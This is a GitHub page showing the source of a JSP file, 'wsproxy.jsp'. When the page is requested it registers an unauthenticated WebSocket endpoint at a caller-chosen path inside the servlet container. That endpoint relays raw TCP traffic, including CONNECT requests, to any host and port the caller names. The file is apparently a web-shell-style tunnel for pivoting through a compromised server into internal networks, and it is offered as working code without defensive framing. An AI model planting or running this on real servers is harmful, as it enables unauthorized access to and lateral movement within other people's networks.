Repository navigation
Expand file tree
/
Copy pathwsproxy.jsp
More file actions
138 lines (133 loc) · 5.98 KB
/
Copy pathwsproxy.jsp
File metadata and controls
138 lines (133 loc) · 5.98 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.concurrent.locks.ReentrantLock" %>
<%@ page import="java.nio.channels.AsynchronousSocketChannel" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.nio.channels.CompletionHandler" %>
<%@ page import="java.net.InetSocketAddress" %>
<%@ page import="java.util.concurrent.Future" %>
<%!
public static class ProxyEndpoint extends Endpoint {
long i =0;
int counter =0;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ReentrantLock lock = new ReentrantLock();
HashMap<String,AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
ProxyEndpoint.Attach attach = new ProxyEndpoint.Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, ProxyEndpoint.Attach>() {
@Override
public void completed(Integer result, final ProxyEndpoint.Attach scAttachment) {
counter++;
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte arr[] = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
scAttachment.channel.getBasicRemote().sendBinary(q);
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte arr[] = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, ProxyEndpoint.Attach scAttachment) {t.printStackTrace();}
});
}
void writeToServer(final ByteBuffer z, Session channel, AsynchronousSocketChannel client){
client.write(z, z, new CompletionHandler<Integer, ByteBuffer>() {
@Override
public void completed(Integer result, ByteBuffer attach) {
z.flip();
}
@Override
public void failed(Throwable t, ByteBuffer asy) {}
});
}
void process(ByteBuffer z,Session channel)
{
lock.lock();
try{
if(i>1)
{
AsynchronousSocketChannel client = (AsynchronousSocketChannel) map.get(channel.getId());
writeToServer(z,channel,client);
readFromServer(channel,client);
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
future.get();
map.put(channel.getId(), client);
if (array[0].equals("CONNECT")) {
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
return;
}
writeToServer(z,channel,client);
readFromServer(channel,client);
ByteBuffer buffer = ByteBuffer.allocate(50000);
int result = client.read(buffer).get();
buffer.clear();
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
channel.getBasicRemote().sendBinary(b);
}
}catch(Exception ignored){
}finally{
lock.unlock();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i++;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(ProxyEndpoint.class, request.getParameter("path")).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
container.addEndpoint(configEndpoint);
} catch (DeploymentException e) {
out.println(e.toString());
}
%>